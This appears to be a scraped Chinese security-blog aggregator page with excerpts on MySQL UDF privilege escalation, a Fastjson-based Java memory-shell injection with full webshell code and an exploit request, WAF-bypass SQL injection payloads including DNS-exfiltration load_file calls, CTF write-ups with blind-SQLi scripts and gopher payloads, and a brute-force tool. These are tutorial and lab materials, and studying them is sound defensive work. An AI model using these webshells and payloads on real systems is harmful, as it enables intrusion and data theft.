【渗透测试】Linux 权限提升——利用用户定义的函数 安全闲碎

【渗透测试】Linux 权限提升——利用用户定义的函数

点击上方蓝字“Ots安全”一起玩耍介绍MySQL 中的用户定义函数用于通过添加与内置函数相同的外部代码来扩展功能。某些版本的 MySQL 受漏洞影响,这些漏洞可能允许具有数据库 root 访问权限的攻击者在 MySQL 进程的上下文中执行代码,并提升权限。识别漏洞首先要检查 MySQL 是否以 root 权限运行,可以使用以下命令完成:ps aux | grep mysql接下来,查找正在运行的 MySQL 版本将揭示它是否可能受到提权漏洞的影响:mysql -Vmysql -u root -p -e 'select @@version;'该版本的 MySQL 受到一个漏洞的影响,该漏洞允许用户在 MySQL 的上下文中运行用户定义的函数来执行命令,在这种情况下是 root。最后,需要以 root 用户身份访问 MySQL,这可以通过在服务器上存在的 Web 应用程序使用的数据库连接文件中查找凭据或通过尝试空白或默认凭据(例如 root 和 toor)来获得:开发创建可用于利用此漏洞的用户定义函数的代码可以从 Exploit DB 镜像,然后必须将其编译为共享对象文件:gcc -g -c 1518.c -o raptor_udf2.o -fPICgcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc然后可以使用 Python Simple HTTP Server 和 Wget 将其传输到目标主机:在 MySQL 中,可以使用以下命令创建一个包含共享对象路径的新表,复制 /usr/lib/mysql/plugin 下的相同文件并创建一个“do_system”函数,该函数将use mysql;create table foo(line blob);insert into foo values(load_file('<path to UDF file>'));select * from foo into dumpfile '/usr/lib/mysql/plugin/udf_file_name.so';create function do_system returns integer soname 'udf_file_name.so';如果 MySQL 实例中使用的插件目录不是默认目录,则可以使用以下命令从 MySQL 中显示当前插件目录:show variables like '%plugin%';然后可以使用“select do_system”语句以 root 身份执行命令:select do_system('<command>');可以使用相同的函数创建 /bin/bash 二进制文件的...
阅读全文
Kali Linux中SQL注入5 大工具 安全工具

Kali Linux中SQL注入5 大工具

1. SQLMapSQLMap 是一种先进的、自动化、开源的,基于 Python 的 SQL 注入工具,基于自动化检测和利用 SQL 注入漏洞并完全控制数据库服务器的工具。一些功能包括:可跨多个数据库引擎使用,包括 Oracle、MSSQL、MySQL、PostgreSQL 等。可用于检测和利用各种类型的注入攻击,例如基于布尔值的 SQL 盲注、基于错误的 SQL 注入、UNION 查询 SQL 注入、堆叠查询 SQL 注入和基于时间的 SQL 盲注。可用于暴力破解密码哈希。可用于从数据库上传或下载文件(仅适用于 MYSQL、PostgreSQL 和 MSSQL 服务器)。可用于执行任意命令并检索其标准输出(仅适用于 MYSQL、PostgreSQL 和 MSSQL 服务器)。通过提供数据库详细信息(例如 DBMS 凭据、IP 地址、端口和数据库名称),可用于直接连接到数据库,而无需通过 SQL 注入进行传递。可定制。支持Basic、Digest、NTLM、Certificate等多种认证协议。可用于指纹后端数据库软件版本和底层操作系统指纹。2.SQLNinjaSQLNinja 是一种基于 Perl 的专用工具,在使用 Microsoft SQL 服务器作为后端的 Web 应用程序上利用 SQL 注入漏洞。提供对易受攻击的数据库服务器的远程访问,并用于在发现 SQL 注入漏洞时帮助自动化接管数据库服务器的过程。一些功能包括:可用于 Linux、FreeBSD 和 Mac 操作系统。可用于对远程 SQL 服务器进行指纹识别(包括其版本、执行查询的用户、用户权限、xp-cmdshell 可用性和 DB 身份验证模式)。可用于数据提取。可用于通过普通 HTTP 请求、vbscript 或 debug.exe 上传可执行文件。不能用于检测注入漏洞的存在,但是,当检测到时,它可以用于利用漏洞来访问可检测的。可用于使用字典攻击和增量攻击来暴力破解“sa”密码。如果找到“sa”密码,则可用于将权限提升到 sysadmin 组。3. BBQSQLBBQSQL 是一个开源的基于 Python 的SQL 注入框架。用于利用SQL注入漏洞,尤其是SQL盲注漏洞。一些功能包括:可定制。可用于评估该工具检测到的 Web 应用程序和补丁漏洞。可以自动且非常快速地检测和利用应用程序中存在的难以发现和困难的 SQL 注盲。对所有配置选项执行输入验证。可用于创建自定义查询和注入语法。数据库不可知。可以配置为使用二进制或频率搜索技术。还可以自定义它以在来自应用程序的 HTTP 响应中查找特定值,以确定 SQL 注入是否有效。需要某些信息才能使用,例如 URL、HTTP 方法、标题、Cookie、编码方法等。4.JSQL injectionJSQL 注入是一个基于 Java 的应用程序,用于从远程服务器查找数据库信息。可用于查找和利用 SQL 注入漏洞。一些功能包括:可用于 Windows、Linux 和 Mac 操作系统。可跨 33 个数据库引擎使用,包括 Oracle、MSSQL、MySQL、PostgreSQL 等。可用于承载正常注入、盲注、错误注入、时间注入等各种注入攻击。可用于在远程主机上创建 web shell 和 SQL shell。可用于搜索管理页面。可用于散列、编码和解码文本。可用于使用基本、摘要、NTLM 和 Kerberos 进行身份验证。可用于破解哈希。5....
阅读全文
VPS 配置记录 安全博客

VPS 配置记录

前言日常学习工作总需要一台 Linux 主机,但是每次需要配置环境的时候会很繁琐,因此用本文记录一下新装 Linux 的环境配置命令,方便日后使用。 GCP开启密码与root用户登陆12345678910111213141516171819sudo -i //切换到root用户vi /etc/ssh/sshd_config //编辑文件#### 允许 root 权限登录# Authentication:# 限制用户必须在指定的时限内认证成功LoginGraceTime 120PermitRootLogin yesStrictModes yes#### 开启密码登录# Change to no to disable tunnelled clear text passwordsPasswordAuthentication yes# 重启 SSHservice sshd restart# 修改 root 密码passwd root 修改主机名123echo 'Xstark' >/etc/hostnamehostname `cat /etc/hostname`bash CentOS 更换源123456789curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repoyum -y install wget# 查看是否修改成功cat /etc/yum.repos.d/CentOS-Base.repo# 生成缓存 升级软件包yum makecacheyum -y update CentOS 开启 SSH1234567# 检测是否安装 openssh-serveryum list installed | grep openssh-server# 没有输出的话需要执行命令yum install openssh-server# 编辑 sshd 的配置文件vim /etc/ssh/sshd_config AddressFamily指定 sshd(8) 应当使用哪种地址族。取值范围是:”any”(默认)、”inet”(仅IPv4)、”inet6”(仅IPv6)。 Python12# 安装 Python3.6yum -y install python36 Java1234# 安装 jdk1.8yum install java-1.8.0-openjdk* -y# 查看版本java -version Nginx123456789# 安装:yum install nginx# 启用并启动Nginx服务:$ sudo systemctl enable nginx$...
阅读全文
利用 Fastjson注入内存马 代码审计

利用 Fastjson注入内存马

前言起因是因为工位旁边的“帅比”同事写内存马的时候挠头搞环境,实在看不下去了。让他用我的靶机他就是不听。直接拿我之前写的漏洞靶场演示一波。欢迎大家来star一下https://github.com/tangxiaofeng7/SecExample靶场JAVA 漏洞靶场-SecExample效果图:我直接导入idea.本地开启mysql服务,然后将mysql目录下的init.sql文件导入。同时修改resources目录下的application.yml文件,使数据库生效。url: jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&useSSL=false#url: jdbc:mysql://mysql-db:3306/mybatis?serverTimezone=UTC&useSSL=false&allowPublicKeyRetrieval=true记得数据的账号密码修改成本地一下。最后启动应用。效果图:利用使用利用工具java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl5 rmi://127.0.0.1:1099/Exploit "cmd:open /System/Applications/Calculator.app"复制payload环境是正常的,再尝试写内存马了。内存马在目录src/main/java/com下新建内存马import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Method;public class Evil {    public Evil() throws Exception{        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        // 通过反射获得自定义 controller 中唯一的 Method 对象        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");        // 属性被 private 修饰,所以 setAccessible true        method.setAccessible(true);        // 通过反射获得该类的test方法        Method method2 = Evil.class.getMethod("test");        // 定义该controller的path        PatternsRequestCondition url = new PatternsRequestCondition("/txf");        // 定义允许访问的HTTP方法        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象,避免无限循环使用另一个构造方法        Evil injectToController = new Evil("aaa");        // 将该controller注册到Spring容器        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    private Evil(String aaa) {    }    public void test() throws IOException {        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        Runtime.getRuntime().exec(request.getParameter("cmd"));    }}然后点击重新编译。然后换到目录/target/classes下起一个web服务python -m SimpleHTTPServer 8888然后使用marshalsec启动java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Evil" 9999接着exp把内存马打进去。POST /fastjson HTTP/1.1Host: 172.16.120.148:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json; charset=utf-8X-Requested-With: XMLHttpRequestContent-Length: 187Origin: http://172.16.120.148:8080Connection: closeReferer: http://172.16.120.148:8080/fastjson{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit","autoCommit":true}}}尝试使用内存马执行命令http://172.16.120.148:8080/txf?cmd=open%20/System/Applications/Calculator.app回显目前的内存马是无回显的,可以修改代码实现回显import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.PrintWriter;import java.lang.reflect.Method;import java.nio.charset.Charset;public class Evil {    public Evil() throws Exception {        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        // 通过反射获得自定义 controller 中唯一的 Method 对象        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");        // 属性被 private 修饰,所以 setAccessible true        method.setAccessible(true);        // 通过反射获得该类的test方法        Method method2 = Evil.class.getMethod("test");        // 定义该controller的path        PatternsRequestCondition url = new PatternsRequestCondition("/txf");        // 定义允许访问的HTTP方法        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象,避免无限循环使用另一个构造方法        Evil injectToController = new Evil("aaa");        // 将该controller注册到Spring容器        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    private Evil(String aaa) {    }    public void test() throws IOException {        HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();        String code = request.getParameter("code");        if(code != null){            StringBuilder result = new StringBuilder();            Process process = null;            BufferedReader bufrIn = null;            BufferedReader bufrError = null;            response.setCharacterEncoding("utf-8");            response.setContentType("text/html,charset=utf-8");            PrintWriter writer = response.getWriter();            try {                ProcessBuilder builder = null;                if (System.getProperty("os.name").toLowerCase().contains("win")){                    builder = new ProcessBuilder(new String{"cmd.exe","/c",code});                    Process start = builder.start();                    bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK")));                    bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("GBK")));                }else {                    builder = new ProcessBuilder(new String{"/bin/sh","-c",code});                    Process start = builder.start();                    bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8")));                    bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("UTF-8")));                }                String line;                while ((line = bufrIn.readLine()) != null){                    result.append(line).append('n').append("</p >");                }                while ((line = bufrError.readLine()) != null){                    result.append(line).append('n').append("</p >");                }                System.out.println(result);                writer.println(result);                writer.flush();                writer.close();            } catch (IOException e) {                e.printStackTrace();            }        }    }} 原文始发于微信公众号(白帽子飙车路):利用 Fastjson注入内存马
阅读全文
Vulnerability Guide - SQL 从入门到放弃 SecIN安全技术社区

Vulnerability Guide - SQL 从入门到放弃

0x0a、SQL注入基础 sql注入三要素:未严格进行过滤 恶意修改 执行语句 sql注入思路:1、信息收集 2、数据注入 3、权限提升 4、高权利用 注入存在的提交方式:$_GET $_POST $_COOKIE REQUEST HTTP头 等 常见闭合判断(判断是否存在注入点): 常见的闭合符号 :' " ') ") %) % } 也可以判断是否存在注入点 mysql数据库基础知识 相关表单知识 SCHEMATABLESCOLUMNS SCHEMA_NAME TABLE_NAME COLUMN_NAME mysql基础知识 mysql注释:# 、–、/**/ 、%23等等 mysql函数:user() 获取用户名、version()获取版本、database()获取数据库 MySql其他函数参考 like ‘ro%’ #判断 ro或ro 是否成立 regexp ‘^ro’ #匹配ro及ro等 if((条件),1,0) #条件成立 返回1 反之 返回0 sleep(5) #sql语句延时执行时间5s mid(a,b,c) #从位置b开始,截取a字符串 c位数 substr(a,b,c) #从b位置开始,截取字符串a的c长度 常用 left(database(),1),database() # left(a,b) 从左侧截取a的前b位 length(database())=8 #判断数据库database() 名的长度 ord=ascii ascii(x)=97 #判断x的ascii码是否等于97 0x0b、常见的注入方式 一、 联合注入union select(有回显) > 使用语法:union select 1,payload(),3 sql //查询数据库名 ?id=-1 union select 1,(select group_concat(scheme_name) from information_schema.schemata),3 # //解释为什么这个地方要使用-1。 看一下在数据库中的例子:select * from users where ‘id’=-1 union select 1,(select group_concat(scheme_name) from information_schema.schemata),3 #...
阅读全文
MySQL远程安全漏洞 安全文章

MySQL远程安全漏洞

Oracle MySQL Server/MariaDB 远程安全漏洞(CVE-2018-2755) 详细描述 Oracle MySQL是美国甲骨文(Oracle)公司的一套开源的关系数据库管理系统。该数据库系统具有性能高、成本低、可靠性好等特点。MySQL Server是其中的一个服务器组件。MySQL Server 5.5.59及之前版本、5.6.39及之前版本和5.7.21及之前版本,MariaDB 5.5.60之前版本, MariaDB 10.2.15之前版本, MariaDB 10.1.33之前版本, MariaDB 10.0.35之前版本组件Server: Replication子组件存在安全漏洞。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。 原文始发于微信公众号(运维帮):MySQL远程安全漏洞
阅读全文
【干货】Mysql注入-Bypass啊理芸 安全文章

【干货】Mysql注入-Bypass啊理芸

mysql数据库mysql的一些小技巧WHERE id= '2.0abc' 转为数字时变成2url传入ascii大于80时进行x80编码http://127.0.0.1/sql/Less-38/index.php?id=%80%81%82函数与括号之间可添加空格、换行、注释select user (),database/**/(),version#123() from users;执行语句之间的空格,可用"/**/"、"换行%0a"替换SELECT * FROMusers WHERE id= '3.0abc'-1/**/union/**/select'3.0abc',2,3fromusers;注释符:--,#,/**/#单行注释后面所有内容,换行后注释失效--和#号一样,但是后边必须有个空格,没空格则视为两个减号/*aaa*/可用多行注释注释内容在sql语句中解析为空格逻辑判断式1>1、'a'='b',from后的表格名,select语句,可用括号包裹SELECT * FROM (users) WHERE (id='3.0abc') union (select '3.0abc',2,user() from (users));单双引号'"、括号()、反单引号``、星号*、与语句之间可以没有空格SELECT*FROM(users)WHERE(id='3.0abc')union(select'3.0abc',2,user()from`users`);就列举几个啊,其他什么内联注释什么的基本不能用了。构造绕过语句绕waf无非就是构造语句,突破防sql的正则表达式根据上面规则可以构造一些垃圾字符,插入语句中并能正常运行。常用就是注释配合换行符,然后在注释部分插入不可解析的ascii码--%20/*%99%0a--%20%0d%0a%23/*%99%0a%23/*%99%0a找个阿里云的站,有没有注入点无所谓,只要阿里云没拦截,本地用mysql执行一下看看成功运行即可。?id=1%27%20or%20%271看上面逻辑判断直接拦截啊,删除or前后空格?id=1%27or%271 #字符型注入?id=1%20or%201 #数字型注入沒拦截,看看本地能运行不这里我本地搭建的sqli环境成功运行啊,后面简单说说其他常规语句的绕过order by 1order by常用于判断列表数?id=1%27order%20by%20id%23?id=1%27order%23/*%99%0aby%23/*%99%0a4%23?id=1%20order%23/*%99%0aby%23/*%99%0aid%23?id=1%20order%23/*%99%0aby%23/*%99%0a4%23union select x from x联合注入?id=union%23/*%99%0aselect?id=union--%20%0d%0a%23/*%99%0aselect?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aa,2,asd?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23%27?id=1%20union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23load_file()dns外带查询,阿里云拦截率dnslog,所以使用别的网站?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.com/abc%22)%23?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.cn/abc%22))%23?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0a))%23?id=concat(%27//%27,(select%23/*%99%0a123),%22.123.test.com/abc%22)?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23?id=1%20%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23updatexml()报错注入,其他报错函数绕过方式应该差不多?id=updatexml%23/*%99%0a(1,1,1)?id=1%27and%20updatexml%23/*%99%0a(1,1,1)%23%27?id=1%20and%20updatexml%23/*%99%0a(1,1,1)?id=updatexml%23/*%99%0d%0a(0,(%23/*%99%0d%0aselect%0aa),%27a)%27)?id=1%27%26%26updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23?id=1%20and%20updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e)?id=1%27%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23其他上面语句有的部分能过阿里云,但是一改参数名,就不行了比如参数id可以过?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23参数改为title等其他的就不行了在已经构造好上面语句的基础上这里只要改改and或者or为&&(%26%26)和||()的url编码,删除或添加空格%20有可能绕过上面语句and改为&&,删除前后空格即可绕过?title=1%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23再举个例子,参数改为title被拦截了?title=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23在数字1前面添加个空格%20就绕过了?title=%201%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23很离谱,很玄学。【往期推荐】【内网渗透】内网信息收集命令汇总【内网渗透】域内信息收集命令汇总【超详细 | Python】CS免杀-Shellcode Loader原理(python)【超详细 | Python】CS免杀-分离+混淆免杀思路【超详细 | 钟馗之眼】ZoomEye-python命令行的使用【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现【奇淫巧技】如何成为一个合格的“FOFA”工程师【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】【超详细】Fastjson1.2.24反序列化漏洞复现  记一次HW实战笔记 | 艰难的提权爬坑走过路过的大佬们留个关注再走呗往期文章有彩蛋哦一如既往的学习,一如既往的整理,一如即往的分享“如侵权请私聊公众号删文” 原文始发于微信公众号(渗透Xiao白帽):【干货】Mysql注入-Bypass啊理芸
阅读全文
红队技巧|MySQL偏门注入(文末进学习交流群) 安全文章

红队技巧|MySQL偏门注入(文末进学习交流群)

作者:spoock转载于:https://blog.spoock.com/2020/10/08/mysqli-rare/说明工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。rollup简介mysql中的group by后面可以接with rollup修饰语,使用with rollup修饰语可以在group by结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。123456789101112131415161718192021222324# 没有rollupmysql> select Host,User from user group by host;+-----------+------------+| Host | User |+-----------+------------+| % | wackopicko || 127.0.0.1 | root || ::1 | root || localhost | root |+-----------+------------+4 rows in set (0.00 sec)# 有rollupmysql> select Host,User from user group by host with rollup ;+-----------+------------+| Host | User |+-----------+------------+| % | wackopicko || 127.0.0.1 | root || ::1 | root || localhost | root || NULL | root |+-----------+------------+5 rows in set (0.00 sec)可以看到使用with rollup之后,返回结果中会多一行,且Host字段为NULL。以一个稍微复杂一点的例子来说明with rollup的用法。创建数据库12345CREATE TABLE `t` (`id` int(11) DEFAULT NULL,`id2` int(11) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;insert into t value(11,11),(12,12),(13,13);使用rollup查询12345678910mysql> select id,sum(id2),avg(id2) from t...
阅读全文
2021鹤城杯|WEB部分WP CTF专场

2021鹤城杯|WEB部分WP

middle_magic几个小trcik杂糅在一起的水题http://182.116.62.85:20253/?aaa=%0apass_the_level_1%23admin=1&root_pwd=2&level_3={"result":0}easy_sql_2mysql8.0,table statement:过滤了information_schema.table用mysql.innodb_table_statsadmin'/**/and/**/(('ctf','%s',3,4,5,6)<=/**/(table/**/mysql.innodb_table_stats/**/limit/**/2,1))#注出来flag表fl11aag16进制注一下:import stringimport requestsimport timereq = requests.session()url = "http://182.116.62.85:26571/login.php"def hh(): payload = "admin'/**/and/**/(ascii(substr(hex((table/**/fl11aag/**/limit/**/1,1)),%s,1)))=%s#" chars = string.printable.replace(".","").replace("?","").replace("`","").replace("+","") + "_{}" result = "" for i in range(1,100): for j in range(48,125): data = {'username':payload%(i,j),'password':"admin"} rep = req.post(url,data) text = rep.text if "success" in text: print(j) result += chr(j) # print((chr(j)),end="") # payload = payload%(chr(j-1)+'%s') print(result) breakhh() easy_sql_1 gopher打index,试了下admin/admin发现给了个cookie,解码后是admin,测试单引号有报错,报错注入,在cookie注入admin') and updatexml(1,concat(0x7e,(select substr((select flag from flag),1,40))),1)#Exp:gopher://127.0.0.1:80/_POST%20/index.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBzdWJzdHIoKHNlbGVjdCBmbGFnIGZyb20gZmxhZyksMSw0MCkpKSwxKSM%3D%0D%0AContent-Length%3A%2024%0D%0A%0D%0Auname%3Dadmin%26passwd%3Dadmin%0D%0A springCVE-2017-4971xman原题:https://www.xctf.org.cn/library/details/8ad0f5b6ac740ec0930e948a40f34a67b3d4f565/easypy<?phpinclude 'utils.php';if (isset($_POST)) { $guess = (string) $_POST; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; }}if (preg_match('/utils.php/*$/i', $_SERVER)) { exit("hacker :)");}if (preg_match('/show_source/', $_SERVER)){ exit("hacker :)");}if (isset($_GET)) { highlight_file(basename($_SERVER)); exit();}else{ show_source(__FILE__);}?>/index.php/utils.php/%ff?&show.source=1- END -...
阅读全文
弱口令扫描工具 - 一款跨平台小巧的端口爆破工具 安全工具

弱口令扫描工具 - 一款跨平台小巧的端口爆破工具

介绍一款跨平台小巧的端口爆破工具,支持爆破FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD。使用说明ip.txt中放入需要爆破的ip+端口,比如 10.10.10.10:3306。如果不是标准端口,比如3307是MYSQL。写成 10.10.10.10:3306|MYSQL。其他 FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD同理Windows/MAC/Linux已经打包好了,分别对应(PortBruteWin.exe/PortBruteMac/PortBruteLinux)。无论是内网渗透,还是日常使用,直接下载下来就可以直接用。快速开始先把要爆破的资产放入ip.txt中,直接运行下面命令开始爆破。结果会在当前目录生成res.txtPortBruteWin.exe已完成 支持多协议 FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD 支持非常规端口 支持user:pass 字典模式  爆破时看到进度,增加了跑马灯 待完成 爆破时更完美的进度展示 更快!更快!更快!下载地址公众号回复: "端口"开源代码:https://github.com/awake1t/PortBrute欢迎师傅加好友位(๑•̀ㅂ•́)و✧ 推荐阅读 - BurpSuite的常用Tips - 一款IP资产巡航扫描系统V1.0linux应急常用命令+技巧总结大佬,分享就不奢求了,帮忙点个赞吧~ 本文始发于微信公众号(渗透测试教程):弱口令扫描工具 - 一款跨平台小巧的端口爆破工具
阅读全文
数据库基础学习 安全闲碎

数据库基础学习

数据库学习01 Mysql数据库的基本操作数据库的基本操作1234567891011121314151617181920输入 mysql -uroot -p -P3306 -h127.0.0.1退出的三种方法 mysql > exit; mysql > quit; mysql > q; 增:create database db1; 删:drop database db1; 改:alter database db1 charset utf8 查:show databases;#查看所有的数据库 show create database db1;查看指定的数据库 show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。 desc tabl_name; 显示表结构,字段类型,主键,是否为空等属性,但不显示外键。 show databases 查看这个mysql里面有多少个库 show tables 查看当前库里面所有的表 mysql> select password from user where user='root'; 查看当前数据库 里面的表user 用户为root的密码 数据库学习02 Mysql数据库数据表的操作1、查看表结构123desc tableDESCRIBE 表名; 2、查看表的内容1select * from table_name 3、建立表123456789101112131415161718CREATE TABLE 表名 ( 属性名 数据类型 , 属性名 数据类型 , ... ... 属性名 数据类型 );字段名就是属性名完整的建立表的语句create table users( id int(7) AUTO_INCREMENT, username varchar(100) not null, password varchar(100) not null, PRIMARY KEY(id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 一般都加上数据库引擎:ENGINE=InnoDB DEFAULT...
阅读全文
MYSQL另类利用方式 安全文章

MYSQL另类利用方式

本文约4500字,阅读约需10分钟。安服仔实在是太难了。实战渗透中,除了常规的MYSQL注入、SSRF、日志写shell、提权外,我们还需要用一些冷门渗透方法来让客户眼前一亮。1利用LOAD DATA LOCAL这应该是一个很早以前就爆出来的漏洞,经常打CTF的朋友们应该知道这个漏洞。CTF中没办法load_file情况是很多的,这时候可以通过load data infile操作尝试读取客户端文件。MYSQL官方提到了关于这个函数的不安全性:攻击原理简单来说,MySQL协议的一项特殊功能是客户端不跟踪请求的命令,仅根据服务器响应执行查询。我们可以通过构造伪造的mysql的Server服务器,通过read data local infile命令读取受害文件。函数讲解此漏洞形成的主要原因在“LOAD DATA INFILE”这个函数。官方文档解释如下:“LOAD DATA INFILE”语句从一个文本文件中以很高的速度读入一个表中。如果指定LOCAL关键词,从客户主机读文件。如果LOCAL未指定,文件必须位于服务器上。具体用例有两种,如下:“load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';”,从本地服务器导入数据到规定的表里。“load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';”,从客户端导入数据到服务器上规定的表中。先来看第一种,“从本地服务器导入数据到规定的表里”。数据库服务器本地创建一个test.txt的文本写入Hello 